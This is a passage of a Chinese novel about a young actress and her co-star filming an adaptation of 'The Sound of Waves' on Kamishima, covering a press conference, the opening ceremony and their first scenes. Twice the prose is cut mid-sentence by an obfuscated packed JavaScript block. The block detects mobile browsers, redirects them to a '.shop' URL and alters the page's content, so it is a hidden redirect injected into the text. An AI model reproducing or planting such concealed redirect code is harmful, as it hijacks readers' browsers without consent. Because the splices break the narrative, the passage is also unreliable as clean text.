桐生看了看旁边的潮子，想了想，说：“她很特别。不是那种一眼看过去就知道怎么拍的演员。你看着她的时候，会觉得她身上有一种东西，不是演出来的，是自己长出来的。和她搭戏，你不用去想怎么接，你只要站在那里，她就把你带进去了。”他说得很慢，像在挑拣合适的词。说完，又加了一句：“我觉得这部电影会很有意思。” 记者在本子上记了几笔，有人点头。接着话筒转向潮子。一个戴眼镜的记者问：“浜田小姐，你是第一次拍电影吧？” “是。” “听说你是在海边长大的？” “是。静冈的一个小渔村。” 记者们互相看了一眼，有人在笔记本上写了几笔。另一个记者问：“你以前演过戏吗？” “没有。” “那你是怎么被选上的？” 潮子张了张嘴，正要说什么，山田导演把话筒往自己面前挪了挪，接过了话。 “这个问题我来回答吧。”他的声音不大，语气很轻，像在聊家常。“我是在一个摄影展上看到她的照片的。那张照片拍的是她坐在海边的礁石上，闭着眼睛，海风吹着头发。我站在那张照片前面看了很久，然后问自己：这个女孩是谁？后来我找到她，让她来试镜。她走进来的时候，我就知道，初江就是她。不是因为她演得好，是因为她站在那里，就是初江。这种东西，不是教出来的。” 一个女记者举手，站起来问：“山田导演，这次您用的主演都是新人。桐生君虽然拍过几部戏，但也是年轻演员。您为什么不用更有经验的演员呢？” 山田导演看了她一眼，笑了一下。他的笑容很浅，但让人觉得不是在应付。“因为他们年轻啊。”他说。 “《潮骚》讲的就是年轻人的故事。不是那种被生活磨圆了的年轻人，是那种还带着棱角的、不知道明天会怎样的年轻人。你找一个老演员来，他演得再好，那也是‘演’。我要的不是演，是他们在镜头前不知道怎么藏的时候，露出来的那个样子。桐生君站在那里，他不用说话，你就知道这个年轻人心里有事。浜田小姐站在那里，你不用给她剧本，你就知道她是从海边来的。这就够了。演得好不好，那是以后的事。现在我要的是‘是’，不是‘像’。” 记者在本子上飞快地记着。 山田导演没有再多说，把话筒推了回去。 发布会结束后，潮子站在走廊里等电梯。桐生从后面走出来，站在她旁边。两个人都不说话，等着电梯的数字一格一格地跳。 “你刚才做得很好。”他说。 潮子抬起头，看着他。他的眼睛很安静，没有客气，也没有敷衍，只是说了一句实话。她的耳朵红了一下，低下头，声音比平时轻了许多。“还……还好。我紧张得手一直在抖。你在台上好像一点也不紧张。” “我的手也在抖。”他说。 她愣了一下，抬起头看他。 她的目光移到他的手——手指修长，骨节分明，干燥，没有汗渍。她看了一眼，又抬起头，对上他的眼睛。他注意到她的视线，轻轻笑了一下，是眼角微微弯下去、像知道了她在想什么的笑。 “真的。”他说，把手掌摊开，伸到她面前。她的视线落在那只手上，指尖有一点点发红，像是被什么东西压过的痕迹，但掌心是干的。她抿了抿嘴，低下头，看着自己的鞋尖。耳根有点热。 “电梯到了。”他说。 她抬起头，电梯门已经开了。她走进去，转过身。他站在走廊里，伸手帮她按了一下按钮，然后退后一步。他的手指从按钮上收回来的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486555|202041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时候，她看见他的指尖确实有一点不自然的红，像是攥过拳头留下的。 “谢谢。”她说。 他点了点头。电梯门慢慢关上。他的轮廓在门缝里越来越窄，最后消失。 开机仪式在神岛上的港口边举行。 那是十月的最后一天，天很高，很蓝，海面上闪着碎碎的光。剧组在码头上搭了一个简易的祭台——一张方桌，上面摆着清酒、盐、大米、水果，还有一棵绑着白纸条的小松树。这是日本的传统，新戏开机要“开镜”，敲破酒桶的盖子，把酒分给所有人喝，祈祷拍摄顺利。 潮子站在人群里，看着那个祭台。海风吹过来，带着咸味，把白纸条吹得哗哗响。她想起小时候在渔村，每年夏天也有祭典，也是这样的桌子，这样的清酒，这样的海风。那时候她站在人群外面，踮着脚往里看，看见大人们拍手、鞠躬、喝酒。她不明白那些仪式是什么意思，但她记得那些人的表情——很认真，很安静，像在做什么很重要的事。 山田导演站在最前面，穿了一件深蓝色的外套，手里拿着一个木槌。他走到酒桶前面，把木槌举起来，敲下去。 “砰”的一声，木盖子裂开了。清酒的香味一下子涌出来，混着海风，咸的里面透出一丝甜。工作人员端着杯子，把酒分给每一个人。潮子也接了一杯。小小的白瓷杯，里面浅浅一层酒，清亮的，像海水。 她端着杯子，不知道该不该喝。她才十五岁，从来没有喝过酒——除了在酒肆里那一杯，仰头灌下去的，辣得她眼泪差点出来。那时候喝酒是为了保护妈妈，现在呢？她低头看着杯子里的酒。清亮的，安安静静的，不像那天晚上那样辣。她抿了一小口。甜的，凉的，顺着喉咙滑下去，有一点点暖。不是那天晚上的味道。那天晚上是苦的，辣的，烧喉咙的。这杯酒是干净的，像这片海。 她抬起头，看见桐生站在不远处，手里也端着一杯酒。他没有喝，只是端着，看着海。风把他的头发吹起来，露出额头。他的侧脸很好看，鼻梁很直。他好像感觉到她在看他，转过头来。两个人的目光碰了一下。 山田导演站在祭台前面，拍了拍手。所有人都安静下来。 “这部戏，”他说，声音不大，但每个人都听得见，“拍的是海边的故事。我们现在就在海边。所以，拜托了。” 他鞠了一躬。所有人跟着鞠躬。潮子弯下腰，看着脚下的木板。木板湿漉漉的，被海水泡得发黑，缝隙里长着小小的贝壳，白的，硬的，紧紧地扒在木头上面。 船是中午出发的。 从鸟羽港到神岛，要坐一个多小时的船。潮子站在甲板上，看着那座小岛从海面上一点一点地浮出来。很小，比她的村子还小。岛上有山，山顶有一座神社，山脚下是密密麻麻的房屋，港口停着几艘渔船。海风很大，带着腥味，咸咸的，湿湿的。她深吸了一口气。这味道她太熟悉了。 船靠岸的时候，她看见码头上已经搭好了拍摄用的架子。几个工作人员在搬运器材，有人认出了她，朝她挥了挥手。她走下船，脚踩在码头的木板上。木板湿漉漉的，被海水泡得发黑，踩上去吱呀吱呀地响。她低头看了一眼自己的脚——今天穿了那双白色的帆布鞋，鞋底硬邦邦。她不太习惯。她弯下腰，把鞋脱了，光脚踩在木板上。凉凉的，湿湿的，木板上的纹路贴着脚心。她突然觉得踏实了。 桐生走在她后面。他也在看这座岛，那些房子、那些石阶、那些被海风吹得发白的墙壁。他从未来过这样的地方。东京长大的他，见过的最大的海是在镰仓，干净的、安静的、被修剪过的海。这里的海不一样。野的，咸的，不讲道理的。 他看了潮子一眼。她光着脚站在码头上，正看着远处的海面。风吹着她的头发，她眯着眼睛，脸上的表情是一种很深的、很安静的东西。像这片海。 “你不穿鞋吗？”他问。 潮子低下头，看了看自己的脚。“不穿。习惯了。”她说。声音很轻，但很自然，像在说一件不用解释的事。 他没有再说什么。两个人站在码头上，看着远处的海面。船已经开走了，港口里只剩下几艘小渔船，随着海浪轻轻晃着。岛上很安静，只有海浪的声音，一下，一下，和渔村一模一样。潮子站在那里，听着那个声音，觉得心里有什么东西松开了。像是一个人走了很远的路，终于到了一个可以坐下来歇一歇的地方。 她把那枚贝壳从口袋里掏出来，放在手心里。凉凉的，硬硬的。她看了它一眼，又放回去。然后她转身，往岛里走。光脚踩在石阶上，凉凉的，扎扎的，但她不怕。她从小就光脚走路，在渔村，在海边，在那条长满杂草的小路上。她不怕疼。 桐生跟在后面，看着她的背影。她走得很稳，步子不大，但很实，每一步都踩在地上。风吹着她的头发，把她的裙摆吹起来。他想起第一次见她的时候，她坐在走廊的长椅上，光着脚，手里攥着剧本，指节发白。那时候他不知道她是谁。现在他知道了。她是初江。她是那个从海里走出来的少女。 他加快脚步，跟上去。两个人一前一后，走在神岛的石阶上，往岛里面走。海风从身后吹过来，把两个人的头发都吹乱了。 21. 第 21 章 化妆间是临时搭的，在一间渔民的仓库里。墙上是旧的渔网和浮漂，空气里有咸鱼的味道，混着海风从门缝里灌进来，凉凉的，腥腥的。化妆师是个年轻的女人，姓松本，圆脸，话很多。她一边给潮子上妆一边说：“你的皮肤真好，晒得刚刚好，不用打太多粉底。”潮子闭着眼睛，让她在脸上涂涂抹抹。她不太习惯这些——粉、口红。她觉得自己像另一个人。 镜子里的那个人，嘴唇上涂了薄薄一层口红，粉色的，不浓，但她觉得别扭。她抿了抿嘴，想把那层东西抿掉。 “别动。”松本按住她的下巴，“马上就好了。” 最后一道是画眉。松本拿着眉笔，在她眉尾添了一笔，退后一步看了看，满意地点点头。“好了。”潮子睁开眼睛，看着镜子里的自己。还是她，但又不是她。那张脸干净了很多，眉毛黑了一点，嘴唇粉了一点，鼻尖那颗痣还在，被粉盖住了一点，但没有完全遮掉。她看着那颗痣，突然觉得那是她身上唯一还属于自己的东西。 “走吧。”松本拍了拍她的肩膀，“今天拍第一场。” 山田导演照顾到两位演员的情绪，决定按照故事发展的顺序来拍。 他从椅子上站起来，对大家说：“我们从第一场开始。” 后面的戏有吻戏，两个年轻人还不熟悉，一个是从渔村来的十五岁少女，一个是比她大五岁的东京男孩。让他们慢慢来，像新治和初江那样，从第一次相见到慢慢靠近。 潮子不知道导演的安排。她只知道第一场戏要拍了。 她站在海滩上，穿着初江的衣服——棉坎肩，扎腿劳动裤，粗白线手套。海风吹过来，带着咸味，把她的头发吹起来。她光着脚踩在沙子里，湿的，凉的，沙子从脚趾缝里挤出来。她低头看了一眼自己的脚，想起小时候在渔村，也是这样光着脚在海边跑。那时候健一郎跟在后面，喊她慢一点。 “各就各位——”副导演喊了一声。 潮子抬起头，看见桐生站在远处。他穿着新治的衣服——褪色的工作服，卷起袖口的衬衫，草帽挂在背后。他看了她一眼，然后移开目光。他在等，等导演喊开始。 “开始！” 剧本上写着：新治故意走到初江面前，与她对面相望。初江皱起眉头，没有看他，只是望向海面。 那是渔船系缆用的木桩，被海水泡得发黑，表面粗糙，缝隙里嵌着细沙。她靠在上面，身子微微后仰，一只手搭在木桩顶端，另一只手垂在身侧。额前渗出细密的汗珠，因为刚干完活。面颊在海风里透出天然的绯色。海风吹起她的头发。 她望着西边的海面。夕阳正从云层后面沉下去，橘红色的光铺满海面，碎成无数细小的光斑。她的眼睛看着那片光，瞳孔里映着碎碎的金色。眼尾微微上挑的弧度在夕光里显得格外柔和，睫毛的影子落在颧骨上，像一小片扇形的云。她的嘴唇微微抿着，脸上没有表情，但那双眼睛里是一种很深的、很安静的凝望。她在看那片海。 她就是站在那里，看着海。海是灰蓝色的，和家乡的海一样。她想起了小时候在海边捡贝壳，健一郎跟在后面喊她慢一点。但那是潮子的记忆，不是初江的。她把它压下去了。她只是站着，让海风吹着她的头发。 桐生穿着新治的衣服从不远处走过来——褪色的工作服，卷起袖口的衬衫，草帽挂在背后。他看见了那个少女。那个从没在岛上见过的新面孔。他故意从她面前走过，像个小孩子看稀罕景。走到她面前，停下来，面对面望着她。他的目光落在她脸上，从她额前的碎发滑到她的眉梢，从眉梢滑到她微微抿着的嘴唇。他看得很认真，不是打量，是看。像一个没见过海的人第一次看见海，移不开眼睛。 潮子的眉头动了一下。不是生气，是那种“你挡到我看夕阳了”的轻微不耐。她的眼睛没有看他，依然望着海面。夕照的红光落在她的瞳孔里，碎成细小的金色。她的嘴角动了一下，没有笑，是一种“我知道你在看我，但我不打算理你”的笃定。初江是海边长大的女孩，她不怕被看。她只是觉得这个人有点奇怪。 桐生站在那里，看着她的侧脸。海风把她的头发吹起来，有发丝蹭过他的手，他垂下眼睛，从她身边走过去。步子比来时快了一些，但不算匆忙。走了几步，停下来，想回头——没有回头。他继续走，走远了，才敢把嘴角翘起来。那一刻他不是桐生航一，是新治。那个在海面上捕鱼的少年，第一次看见初江的时候，心里有东西在拱。不是爱情，是好奇。是那种“原来世界上还有这样的人”的幸福。 山田导演喊了“卡”。潮子转过头，看着桐生。他站在远处，背对着她。他转过身，看见她在看他，笑了一下。她点了点头，也笑了。 第二场戏在山顶的哨所废墟。 新治帮母亲送柴火，在这里遇见迷路哭泣的初江。潮子站在废墟前面，看着那些石头墙。墙上长了青苔，黑绿的，湿漉漉的。屋顶塌了一半，露出天空，蓝的，很高。风从破洞里灌进来，呜呜地响。她走进废墟，蹲下来，把脸埋在膝盖里。 “开始！” 她哭了。不是大声的哭，是无声的，肩膀一抽一抽的。她把脸埋在膝盖里，不让别人看见。她想起小时候，妈妈打了她，她也是这样蹲在阁楼里，把脸埋在膝盖里，不出声。她想起健一郎提着灯笼等在草窝里，她推开窗户，看见他的灯笼在黑暗里晃了一下。她想起他们在铁轨旁的告别。她的眼泪掉下来了，不是演出来的，是真的。 桐生站在废墟门口，看着蹲在地上的她。她的肩膀在抖，很轻的抖，像小时候那艘小木船在海浪里晃。他的心里突然有什么东西被揪了一下。他忘了自己在演戏。 “新治。”导演在远处喊了一声。他回过神，走进废墟。 剧本上写着：新治看见了因迷路而哭泣的少女。 他站在她面前，没有说话。她抬起头，看着他。她的眼睛红了，脸上有泪痕，鼻尖那颗痣沾了泪，亮晶晶的。她的眼睛很亮，里面有东西——不是无助，是倔。被生活按在地上磨过，但没有碎的人才会有的东西。他看见那双眼睛，突然忘了自己是谁。不是桐生航一，是新治。新治看见了一个迷路的少女，她哭了，但她不认输。他的心口疼了一下。 她看到一个陌生人，身体僵了一下，眼睛睁大了。那种从悲伤里突然被人拽出来的表情，是慌张。她想站起来，膝盖蹲久了发麻，撑了一下没撑住，又蹲了回去。她没有再试，就那样蹲在那里，仰着脸，像一只被逼到墙角的猫。她认出了他。那双乌黑深沉的眼睛，死死盯着她的那张青春面庞——是前两天在海滩上，故意从她面前走过、像看稀罕景一样看她的那个年轻人。 新治垂下了眼睛，先移开了目光。不自然。 “是初江姑娘吧？”他问。声音不大，带着一种刻意的生硬，像在用敬语把自己隔开。 她对他知道自己的名字感到惊讶，又觉得合理——这个岛不大，谁家来了客人，第二天全村都会知道。 “是你在哭吗？” 她低下头，用手背飞快地擦了一下脸。“是我。” “为什么哭？” 她沉默了一会儿。抬起眼睛，看着他。那双眼睛里的水光还没有褪尽。 “我迷路了。找不到回去的路。” 新治站在那里，看着她红红的眼眶，看着她湿透的睫毛。他想起前几天在神明面前许下的愿望——取一个心思善良、模样俊俏的姑娘，像宫田家刚接回来的初江姑娘一样。现在他遇到了她。他的心里有一种说不清的东西在挠痒痒，竟让他觉得有些幸福。 “我要经过灯塔回家。”他说。声音还是不大，但比刚才稳了一些。他的舌头忽然变得灵活起来，那句想了很久才想出来的话，说出来的时候居然没有打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486556|202041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 结。“可以送你。” 然后她笑了。 很轻的笑，嘴角动了一下，眼睛弯了弯。泪还挂在脸上，但她笑了。那个笑像什么？桐生站在那里，看着那个笑，脑子里突然涌上来一个念头——像雨后的阳光。不是那种大大的、灿烂的、照得人睁不开眼的阳光，是细细的、从云缝里漏下来的、暖暖的、让人觉得“没事了”的那种光。 “卡。”山田导演的声音从远处传来。潮子从地上站起来，膝盖蹲麻了，晃了一下。桐生伸出手，扶了一下她的手臂，很快松开。 “谢谢。”她说。 “不用。”他说。 她低下头，拍了拍裙摆上的灰。他转过身，走到监视器旁边，和山田导演一起看回放。桐生看着屏幕上初江抬起脸的那一瞬间，那双眼睛里的水光还没散，睫毛上还挂着泪珠，但那双眼睛是活的。里面有脆弱，但有不认输。他看了很久，他知道，刚才那几分钟，他不是桐生航一。他是新治。而她，是初江。 那天晚上，副导演在监视器前面看回放。他看了一遍，又看了一遍。山田导演走过来，站在他旁边。 “怎么样？”山田问。 副导演抬起头，看着他。“她从来没有演过戏？” “没有。” 副导演沉默了一会儿，说：“不像。” 山田导演没有回答。他看着监视器里的潮子——她皱着眉看海的样子，她蹲在废墟里哭的样子。她的倔强与纯真，每一帧都不是在演。 “她不需要演。”山田说。 副导演点点头。他想起白天在片场，看见潮子蹲在废墟里哭，肩膀一抽一抽的，像真的迷了路。看见她抬起头，脸上挂着泪，但眼睛里有光。看见她对桐生笑，那个笑像雨后的阳光。他拍了几十年戏，见过无数演员，有人靠技巧，有人靠天赋，有人靠努力。她什么都不靠。她只是站在那里，把自己的心拿出来。 “明天呢？”副导演问，“后面还有吻戏。” 山田导演没有回答。他看着监视器，看了一会儿。“不急。”他说，“让他们慢慢来。” 那天晚上，潮子坐在码头上。月亮很大，照在海面上，碎成一片银光。 身后传来脚步声。她没有回头。 “还不睡？”桐生的声音。 “睡不着。” 他走过来，站在她旁边，没有坐下。两个人都不说话，听着海浪的声音。一下，一下，像什么东西在呼吸。 “今天，”他开口了，又停住。 她抬起头，看着他。月光照在他脸上，把他的侧脸照得发亮。他的眼睛很安静，像这片海。 “今天怎么了？” 他低下头，看着她。“你哭的时候，我在想，你不是在演。” 潮子没有说话。 “你不是在演初江哭。”他说，“你是自己在哭。” 潮子低下头，看着手里的贝壳。“也许吧。”她说。 他没有问为什么哭，也没有问她在想谁。他只是站在那里，看着海。过了一会儿，他转身走了。走了几步，停下来，回头看了她一眼。她还坐在那里，看着海。月光照在她身上，把她整个人照得发亮。他看了她几秒钟，然后转身，走进夜色里。 他走回住处的时候，想起她看海的样子，眼睛望着很远的地方。她在看什么？他不知道。他只知道，她像一团雾。你看得见她，但抓不住。你以为你走近了，伸手一摸，空的。她站在那里，很近，近得你能看见她鼻尖那颗痣，能看见她睫毛上的水珠。但你知道，她的心不在这里。她在很远的地方，在另一片海，又或许曾经在另一个人身边。 他翻了个身，把脸埋在枕头里。海浪的声音从窗户缝里钻进来，一下，一下。他闭上眼睛。今天她对他笑的时候，他不是桐生航一。他是新治。他想，明天，后天，以后，他还会是。